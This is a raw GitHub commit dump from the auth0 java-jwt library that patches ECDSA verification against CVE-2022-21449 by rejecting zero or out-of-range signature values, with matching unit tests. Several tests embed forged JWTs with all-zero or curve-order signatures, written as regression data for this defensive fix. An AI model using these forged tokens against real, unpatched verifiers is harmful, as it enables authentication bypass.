 A Java implementation of [JSON Web Token (JWT) - RFC 7519](https://tools.ietf.org/html/rfc7519).
 
+> :warning:  **Important security note:** JVM has a critical vulnerability for ECDSA Algorithms - [CVE-2022-21449](https://nvd.nist.gov/vuln/detail/CVE-2022-21449). Please review the details of the vulnerability and update your environment.
+
 If you're looking for an **Android** version of the JWT Decoder take a look at our [JWTDecode.Android](https://github.com/auth0/JWTDecode.Android) library.
 
 > You are viewing the documentation for the v4 beta release. For the latest stable release, please see the [version 3.x documentation](https://github.com/auth0/java-jwt).
@@ -46,10 +48,16 @@ implementation 'com.auth0:java-jwt:3.19.0'
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>3.19.0</version>
+    <version>3.19.2</version>
 </dependency>
 ```
 
+### Gradle
+
+```gradle
+implementation 'com.auth0:java-jwt:3.19.2'
+```
+
 ## Available Algorithms
 
 The library implements JWT Verification and Signing using the following algorithms:u}(j  (b1b248896cf1d8d7992411a62b45538bbaab66ebj  lib/build.gradlej  modifiedj  Kj  Kj  Kj  bhttps://github.com/auth0/java-jwt/blob/1ceddbab828c31e9e64fb37fe13ee05100ec3ebf/lib%2Fbuild.gradlej   ahttps://github.com/auth0/java-jwt/raw/1ceddbab828c31e9e64fb37fe13ee05100ec3ebf/lib%2Fbuild.gradlej  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=1ceddbab828c31e9e64fb37fe13ee05100ec3ebfj  X2  @@ -53,7 +53,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2.2'
 
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.70'
     testImplementation 'junit:junit:4.13.2'u}(j  (185d95cfc7ba7c49aeeec0f56313a6622d5dcfe5j  >lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javaj  modifiedj  KOj  Kj  Kaj  https://github.com/auth0/java-jwt/blob/1ceddbab828c31e9e64fb37fe13ee05100ec3ebf/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj   https://github.com/auth0/java-jwt/raw/1ceddbab828c31e9e64fb37fe13ee05100ec3ebf/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=1ceddbab828c31e9e64fb37fe13ee05100ec3ebfj  X  @@ -5,6 +5,7 @@
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
 
+import java.math.BigInteger;
 import java.security.InvalidKeyException;
 import java.security.NoSuchAlgorithmException;
 import java.security.SignatureException;
@@ -48,8 +49,8 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
             if (publicKey == null) {
                 throw new IllegalStateException("The given Public Key is null.");
             }
-            boolean valid = crypto.verifySignatureFor(getDescription(), publicKey, jwt.getHeader(),
-                    jwt.getPayload(), JOSEToDER(signatureBytes));
+            validateSignatureStructure(signatureBytes, publicKey);
+            boolean valid = crypto.verifySignatureFor(getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), JOSEToDER(signatureBytes));
 
             if (!valid) {
                 throw new SignatureVerificationException(this);
@@ -145,23 +146,74 @@ byte[] DERToJOSE(byte[] derSignature) throws SignatureException {
         return joseSignature;
     }
 
-    //Visible for testing
-    byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
+    /**
+     * Added check for extra protection against CVE-2022-21449.
+     * This method ensures the signature's structure is as expected.
+     *
+     * @param joseSignature is the signature from the JWT
+     * @param publicKey public key used to verify the JWT
+     * @throws SignatureException if the signature's structure is not as per expectation
+     */
+    // Visible for testing
+    void validateSignatureStructure(byte[] joseSignature, ECPublicKey publicKey) throws SignatureException {
+        // check signature length, moved this check from JOSEToDER method
         if (joseSignature.length != ecNumberSize * 2) {
             throw new SignatureException("Invalid JOSE signature format.");
         }
 
-        // Retrieve R and S number's length and padding.
-        int rpadding = countPadding(joseSignature, 0, ecNumberSize);
-        int spadding = countPadding(joseSignature, ecNumberSize, joseSignature.length);
-        int rlength = ecNumberSize - rpadding;
-        int slength = ecNumberSize - spadding;
+        if (isAllZeros(joseSignature)) {
+            throw new SignatureException("Invalid signature format.");
+        }
+
+        // get R
+        byte[] rBytes = new byte[ecNumberSize];
+        System.arraycopy(joseSignature, 0, rBytes, 0, ecNumberSize);
+        BigInteger r = new BigInteger(1, rBytes);
+        if(isAllZeros(rBytes)) {
+            throw new SignatureException("Invalid signature format.");
+        }
 
-        int length = 2 + rlength + 2 + slength;
+        // get S
+        byte[] sBytes = new byte[ecNumberSize];
+        System.arraycopy(joseSignature, ecNumberSize, sBytes, 0, ecNumberSize);
+        BigInteger s = new BigInteger(1, sBytes);
+        if(isAllZeros(sBytes)) {
+            throw new SignatureException("Invalid signature format.");
+        }
+
+        //moved this check from JOSEToDER method
+        int rPadding = countPadding(joseSignature, 0, ecNumberSize);
+        int sPadding = countPadding(joseSignature, ecNumberSize, joseSignature.length);
+        int rLength = ecNumberSize - rPadding;
+        int sLength = ecNumberSize - sPadding;
+
+        int length = 2 + rLength + 2 + sLength;
         if (length > 255) {
             throw new SignatureException("Invalid JOSE signature format.");
         }
 
+        BigInteger order = publicKey.getParams().getOrder();
+
+        // R and S must be less than N
+        if (order.compareTo(r) < 1) {
+            throw new SignatureException("Invalid signature format.");
+        }
+
+        if (order.compareTo(s) < 1){
+            throw new SignatureException("Invalid signature format.");
+        }
+    }
+
+    //Visible for testing
+    byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
+        // Retrieve R and S number's length and padding.
+        int rPadding = countPadding(joseSignature, 0, ecNumberSize);
+        int sPadding = countPadding(joseSignature, ecNumberSize, joseSignature.length);
+        int rLength = ecNumberSize - rPadding;
+        int sLength = ecNumberSize - sPadding;
+
+        int length = 2 + rLength + 2 + sLength;
+
         final byte[] derSignature;
         int offset;
         if (length > 0x7f) {
@@ -180,37 +232,46 @@ byte[] JOSEToDER(byte[] joseSignature) throws SignatureException {
 
         // Header with "min R" number length
         derSignature[offset++] = (byte) 0x02;
-        derSignature[offset++] = (byte) rlength;
+        derSignature[offset++] = (byte) rLength;
 
         // R number
-        if (rpadding < 0) {
+        if (rPadding < 0) {
             //Sign
             derSignature[offset++] = (byte) 0x00;
             System.arraycopy(joseSignature, 0, derSignature, offset, ecNumberSize);
             offset += ecNumberSize;
         } else {
-            int copyLength = Math.min(ecNumberSize, rlength);
-            System.arraycopy(joseSignature, rpadding, derSignature, offset, copyLength);
+            int copyLength = Math.min(ecNumberSize, rLength);
+            System.arraycopy(joseSignature, rPadding, derSignature, offset, copyLength);
             offset += copyLength;
         }
 
         // Header with "min S" number length
         derSignature[offset++] = (byte) 0x02;
-        derSignature[offset++] = (byte) slength;
+        derSignature[offset++] = (byte) sLength;
 
         // S number
-        if (spadding < 0) {
+        if (sPadding < 0) {
             //Sign
             derSignature[offset++] = (byte) 0x00;
             System.arraycopy(joseSignature, ecNumberSize, derSignature, offset, ecNumberSize);
         } else {
-            System.arraycopy(joseSignature, ecNumberSize + spadding, derSignature, offset,
-                    Math.min(ecNumberSize, slength));
+            System.arraycopy(joseSignature, ecNumberSize + sPadding, derSignature, offset,
+                    Math.min(ecNumberSize, sLength));
         }
 
         return derSignature;
     }
 
+    private boolean isAllZeros(byte[] bytes) {
+        for (byte b : bytes) {
+            if (b != 0) {
+                return false;
+            }
+        }
+        return true;
+    }
+
     private int countPadding(byte[] bytes, int fromIndex, int toIndex) {
         int padding = 0;
         while (fromIndex + padding < toIndex && bytes[fromIndex + padding] == 0) {u}(j  (d05fb53d69d3ed5e410fd21d9b8ded34570048bfj  Blib/src/test/java/com/auth0/jwt/algorithms/ECDSAAlgorithmTest.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/1ceddbab828c31e9e64fb37fe13ee05100ec3ebf/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj   https://github.com/auth0/java-jwt/raw/1ceddbab828c31e9e64fb37fe13ee05100ec3ebf/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithmTest.java?ref=1ceddbab828c31e9e64fb37fe13ee05100ec3ebfj  Xe-  @@ -4,18 +4,21 @@
 import com.auth0.jwt.exceptions.SignatureGenerationException;
 import com.auth0.jwt.exceptions.SignatureVerificationException;
 import com.auth0.jwt.interfaces.ECDSAKeyProvider;
+import com.auth0.jwt.interfaces.JWTVerifier;
 import org.hamcrest.Matchers;
 import org.hamcrest.collection.IsIn;
 import org.junit.Rule;
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
 
 import java.io.ByteArrayOutputStream;
+import java.math.BigInteger;
 import java.nio.charset.StandardCharsets;
 import java.security.*;
 import java.security.interfaces.ECKey;
 import java.security.interfaces.ECPrivateKey;
 import java.security.interfaces.ECPublicKey;
+import java.security.spec.ECParameterSpec;
 import java.util.Arrays;
 import java.util.Base64;
 
@@ -462,6 +465,10 @@ public void shouldThrowOnVerifyWhenSignatureAlgorithmDoesNotExists() throws Exce
                 .thenThrow(NoSuchAlgorithmException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -480,6 +487,10 @@ public void shouldThrowOnVerifyWhenThePublicKeyIsInvalid() throws Exception {
                 .thenThrow(InvalidKeyException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -498,6 +509,10 @@ public void shouldThrowOnVerifyWhenTheSignatureIsNotPrepared() throws Exception
                 .thenThrow(SignatureException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -827,12 +842,13 @@ public void shouldThrowOnDERSignatureConversionIfSNumberDoesNotHaveExpectedLengt
 
     @Test
     public void shouldThrowOnJOSESignatureConversionIfDoesNotHaveExpectedLength() throws Exception {
-        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC"), (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
         byte[] joseSignature = new byte[32 * 2 - 1];
         exception.expect(SignatureException.class);
         exception.expectMessage("Invalid JOSE signature format.");
 
-        algorithm256.JOSEToDER(joseSignature);
+        algorithm256.validateSignatureStructure(joseSignature, publicKey);
     }
 
     @Test
@@ -1197,4 +1213,146 @@ public void shouldFailOnECDSA256SigningWithDeprecatedMethodWhenProvidedPrivateKe
         algorithm.sign(new byte[0]);
     }
 
+    @Test
+    public void invalidECDSA256SignatureShouldFailTokenVerification() throws Exception {
+        exception.expect(SignatureVerificationException.class);
+        exception.expectCause(isA(SignatureException.class));
+
+        String jwtWithInvalidSig = "eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0._____wAAAAD__________7zm-q2nF56E87nKwvxjJVH_____AAAAAP__________vOb6racXnoTzucrC_GMlUQ";
+
+        ECKey key256 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECKey key384 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_384, "EC");
+        ECKey key512 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_512, "EC");
+        ECKey key256k = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
+        JWTVerifier verifier256 = JWT.require(Algorithm.ECDSA256(key256)).build();
+        JWTVerifier verifier384 = JWT.require(Algorithm.ECDSA256(key384)).build();
+        JWTVerifier verifier512 = JWT.require(Algorithm.ECDSA256(key512)).build();
+        JWTVerifier verifier256k = JWT.require(Algorithm.ECDSA256(key256k)).build();
+        verifier256.verify(jwtWithInvalidSig);
+        verifier384.verify(jwtWithInvalidSig);
+        verifier512.verify(jwtWithInvalidSig);
+        verifier256k.verify(jwtWithInvalidSig);
+    }
+
+    @Test
+    public void emptyECDSA256SignatureShouldFailTokenVerification() throws Exception {
+        exception.expect(SignatureVerificationException.class);
+        exception.expectCause(isA(SignatureException.class));
+
+        String jwtWithInvalidSig = "eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWUsImlhdCI6MTUxNjIzOTAyMn0.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
+
+        ECKey key256 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECKey key384 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_384, "EC");
+        ECKey key512 = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_512, "EC");
+        ECKey key256k = (ECKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256K, "EC");
+        JWTVerifier verifier256 = JWT.require(Algorithm.ECDSA256(key256)).build();
+        JWTVerifier verifier384 = JWT.require(Algorithm.ECDSA256(key384)).build();
+        JWTVerifier verifier512 = JWT.require(Algorithm.ECDSA256(key512)).build();
+        JWTVerifier verifier256k = JWT.require(Algorithm.ECDSA256(key256k)).build();
+        verifier256.verify(jwtWithInvalidSig);
+        verifier384.verify(jwtWithInvalidSig);
+        verifier512.verify(jwtWithInvalidSig);
+        verifier256k.verify(jwtWithInvalidSig);
+    }
+
+    @Test
+    public void signatureWithAllZerosShouldFail() throws Exception {
+        exception.expect(SignatureException.class);
+        exception.expectMessage("Invalid signature format.");
+
+        ECPublicKey pubKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(pubKey, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
+        byte[] signatureBytes = new byte[64];
+        algorithm256.validateSignatureStructure(signatureBytes, pubKey);
+    }
+
+    @Test
+    public void signatureWithRZeroShouldFail() throws Exception {
+        exception.expect(SignatureException.class);
+        exception.expectMessage("Invalid signature format.");
+
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
+
+        String signedJwt = JWT.create().sign(Algorithm.ECDSA256(publicKey, privateKey));
+
+        String[] chunks = signedJwt.split("\\.");
+        byte[] signature = Base64.getUrlDecoder().decode(chunks[2]);
+
+        byte[] sigWithBlankR = new byte[signature.length];
+        for (int i = 0; i < signature.length; i++) {
+            if (i < signature.length / 2) {
+                sigWithBlankR[i] = 0;
+            } else {
+                sigWithBlankR[i] = signature[i];
+            }
+        }
+
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, privateKey);
+        algorithm256.validateSignatureStructure(sigWithBlankR, publicKey);
+    }
+
+    @Test
+    public void signatureWithSZeroShouldFail() throws Exception {
+        exception.expect(SignatureException.class);
+        exception.expectMessage("Invalid signature format.");
+
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
+
+        String signedJwt = JWT.create().sign(Algorithm.ECDSA256(publicKey, privateKey));
+
+        String[] chunks = signedJwt.split("\\.");
+        byte[] signature = Base64.getUrlDecoder().decode(chunks[2]);
+
+        byte[] sigWithBlankS = new byte[signature.length];
+        for (int i = 0; i < signature.length; i++) {
+            if (i < signature.length / 2) {
+                sigWithBlankS[i] = signature[i];
+            } else {
+                sigWithBlankS[i] = 0;
+            }
+        }
+
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, privateKey);
+        algorithm256.validateSignatureStructure(sigWithBlankS, publicKey);
+    }
+
+    @Test
+    public void signatureWithRValueNotLessThanOrderShouldFail() throws Exception {
+        exception.expect(SignatureException.class);
+        exception.expectMessage("Invalid signature format.");
+
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
+
+        String signedJwt = JWT.create().sign(Algorithm.ECDSA256(publicKey, privateKey));
+        String jwtWithInvalidSig = signedJwt.substring(0, signedJwt.lastIndexOf('.') + 1) + "_____wAAAAD__________7zm-q2nF56E87nKwvxjJVH_____AAAAAP__________vOb6racXnoTzucrC_GMlUQ";
+
+        String[] chunks = jwtWithInvalidSig.split("\\.");
+        byte[] invalidSignature = Base64.getUrlDecoder().decode(chunks[2]);
+
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, privateKey);
+        algorithm256.validateSignatureStructure(invalidSignature, publicKey);
+    }
+
+    @Test
+    public void signatureWithSValueNotLessThanOrderShouldFail() throws Exception {
+        exception.expect(SignatureException.class);
+        exception.expectMessage("Invalid signature format.");
+
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECPrivateKey privateKey = (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC");
+
+        String signedJwt = JWT.create().sign(Algorithm.ECDSA256(publicKey, privateKey));
+        String jwtWithInvalidSig = signedJwt.substring(0, signedJwt.lastIndexOf('.') + 1) + "_____wAAAAD__________7zm-q2nF56E87nKwvxjJVH_____AAAAAP__________vOb6racXnoTzucrC_GMlUQ";
+
+        String[] chunks = jwtWithInvalidSig.split("\\.");
+        byte[] invalidSignature = Base64.getUrlDecoder().decode(chunks[2]);
+        invalidSignature[0] = Byte.MAX_VALUE;
+
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, privateKey);
+        algorithm256.validateSignatureStructure(invalidSignature, publicKey);
+    }
 }
\ No newline at end of fileu}(j  (3925eef3defd98e898bf7459ec6f860f020531f4j  Nlib/src/test/java/com/auth0/jwt/algorithms/ECDSABouncyCastleProviderTests.javaj  modifiedj  Kj  Kj  Kj  https://github.com/auth0/java-jwt/blob/1ceddbab828c31e9e64fb37fe13ee05100ec3ebf/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj   https://github.com/auth0/java-jwt/raw/1ceddbab828c31e9e64fb37fe13ee05100ec3ebf/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSABouncyCastleProviderTests.java?ref=1ceddbab828c31e9e64fb37fe13ee05100ec3ebfj  X
  @@ -11,11 +11,14 @@
 import org.junit.Test;
 import org.junit.rules.ExpectedException;
 
+import java.math.BigInteger;
 import java.nio.charset.StandardCharsets;
 import java.security.*;
 import java.security.interfaces.ECKey;
 import java.security.interfaces.ECPrivateKey;
 import java.security.interfaces.ECPublicKey;
+import java.security.spec.ECParameterSpec;
+import java.util.Arrays;
 import java.util.Base64;
 
 import static com.auth0.jwt.PemUtils.readPrivateKeyFromFile;
@@ -479,6 +482,10 @@ public void shouldThrowOnVerifyWhenSignatureAlgorithmDoesNotExists() throws Exce
                 .thenThrow(NoSuchAlgorithmException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -497,6 +504,10 @@ public void shouldThrowOnVerifyWhenThePublicKeyIsInvalid() throws Exception {
                 .thenThrow(InvalidKeyException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -515,6 +526,10 @@ public void shouldThrowOnVerifyWhenTheSignatureIsNotPrepared() throws Exception
                 .thenThrow(SignatureException.class);
 
         ECPublicKey publicKey = mock(ECPublicKey.class);
+        when(publicKey.getParams()).thenReturn(mock(ECParameterSpec.class));
+        byte[] a = new byte[64];
+        Arrays.fill(a, Byte.MAX_VALUE);
+        when(publicKey.getParams().getOrder()).thenReturn(new BigInteger(a));
         ECPrivateKey privateKey = mock(ECPrivateKey.class);
         ECDSAKeyProvider provider = ECDSAAlgorithm.providerForKeys(publicKey, privateKey);
         Algorithm algorithm = new ECDSAAlgorithm(crypto, "some-alg", "some-algorithm", 32, provider);
@@ -823,12 +838,13 @@ public void shouldThrowOnDERSignatureConversionIfSNumberDoesNotHaveExpectedLengt
 
     @Test
     public void shouldThrowOnJOSESignatureConversionIfDoesNotHaveExpectedLength() throws Exception {
-        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256((ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC"), (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
+        ECPublicKey publicKey = (ECPublicKey) readPublicKeyFromFile(PUBLIC_KEY_FILE_256, "EC");
+        ECDSAAlgorithm algorithm256 = (ECDSAAlgorithm) Algorithm.ECDSA256(publicKey, (ECPrivateKey) readPrivateKeyFromFile(PRIVATE_KEY_FILE_256, "EC"));
         byte[] joseSignature = new byte[32 * 2 - 1];
         exception.expect(SignatureException.class);
         exception.expectMessage("Invalid JOSE signature format.");
 
-        algorithm256.JOSEToDER(joseSignature);
+        algorithm256.validateSignatureStructure(joseSignature, publicKey);
     }
 
     @Testueu(1433810366a592bf3fd2be48f1cb28ebcf3b42e6}(sha(1433810366a592bf3fd2be48f1cb28ebcf3b42e6node_idEC_kwDOAQtL0doAKDE0MzM4MTAzNjZhNTkyYmYzZmQyYmU0OGYxY2IyOGViY2YzYjQyZTYcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-16T13:16:50Zu	committer}(j8  GitHubj:  noreply@github.comj<  2022-03-16T13:16:50Zumessage8Undeprecate Single Key Constructor for Algorithms (#551)tree}(j0  (dbbedf9ce665d94f9cee414848ef5ef76309a04eurl^https://api.github.com/repos/auth0/java-jwt/git/trees/dbbedf9ce665d94f9cee414848ef5ef76309a04eujH  `https://api.github.com/repos/auth0/java-jwt/git/commits/1433810366a592bf3fd2be48f1cb28ebcf3b42e6
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiMeNCCRBK7hj4Ov3rIwAA85YIAHf1LIqi7pPEakDlvSBUrjQ+
IwPHMflBzLwWHvGrV26CauJIZ+4V3vJkUU0rCE9A+PLe+vFD+zNk6DCUiAEBUD4Z
IjrDD1T/Cd1YxdvhgEhUUhOr5wE8KxuWZGadwf6KBBHbdVPhJMh5FdXu6vPFqBc8
L3HZjUZEfbg75afbpJzEGvhU2wgFC6CuCdT89b7dW0pPp22eYrdOYIx0PsZTMvkv
IwSl1Wf3PHxLYOesqGQDQJ/QozyhHLL98N6klS9Oa0Ng1zbYutSHvtCtY6rfk/qP
KsmKYmSg9tz+CamPPnL1MKdicWwNvXNLeSLg+2GCvsCF6JVObqI86Ahe3dUDRoE=
=F195
-----END PGP SIGNATURE-----
payloadX  tree dbbedf9ce665d94f9cee414848ef5ef76309a04e
parent 98a6c9643300497d0c18b6392e6ee066de4dcec5
author Poovamraj T T <poovamraj@gmail.com> 1647436610 +0530
committer GitHub <noreply@github.com> 1647436610 +0100

Undeprecate Single Key Constructor for Algorithms (#551)

uujH  \https://api.github.com/repos/auth0/java-jwt/commits/1433810366a592bf3fd2be48f1cb28ebcf3b42e6html_urlQhttps://github.com/auth0/java-jwt/commit/1433810366a592bf3fd2be48f1cb28ebcf3b42e6comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/1433810366a592bf3fd2be48f1cb28ebcf3b42e6/commentsj6  }(login	poovamrajidJ j2  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jH  &https://api.github.com/users/poovamrajjV  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj>  }(j[  web-flowj]  J/j2  MDQ6VXNlcjE5ODY0NDQ3j_  4https://avatars.githubusercontent.com/u/19864447?v=4ja  h3jH  %https://api.github.com/users/web-flowjV  https://github.com/web-flowjd  /https://api.github.com/users/web-flow/followersjf  <https://api.github.com/users/web-flow/following{/other_user}jh  5https://api.github.com/users/web-flow/gists{/gist_id}jj  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jl  3https://api.github.com/users/web-flow/subscriptionsjn  *https://api.github.com/users/web-flow/orgsjp  +https://api.github.com/users/web-flow/reposjr  6https://api.github.com/users/web-flow/events{/privacy}jt  5https://api.github.com/users/web-flow/received_eventsjv  Userjx  uparents]}(j0  (98a6c9643300497d0c18b6392e6ee066de4dcec5jH  \https://api.github.com/repos/auth0/java-jwt/commits/98a6c9643300497d0c18b6392e6ee066de4dcec5jV  Qhttps://github.com/auth0/java-jwt/commit/98a6c9643300497d0c18b6392e6ee066de4dcec5uastats}(totalK	additionsK 	deletionsKufiles]}(j0  (6fec5b71842936d692b6c1fbe7ae62fab4a308e6filename9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javastatusmodifiedj  K j  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/1433810366a592bf3fd2be48f1cb28ebcf3b42e6/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaraw_urlhttps://github.com/auth0/java-jwt/raw/1433810366a592bf3fd2be48f1cb28ebcf3b42e6/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java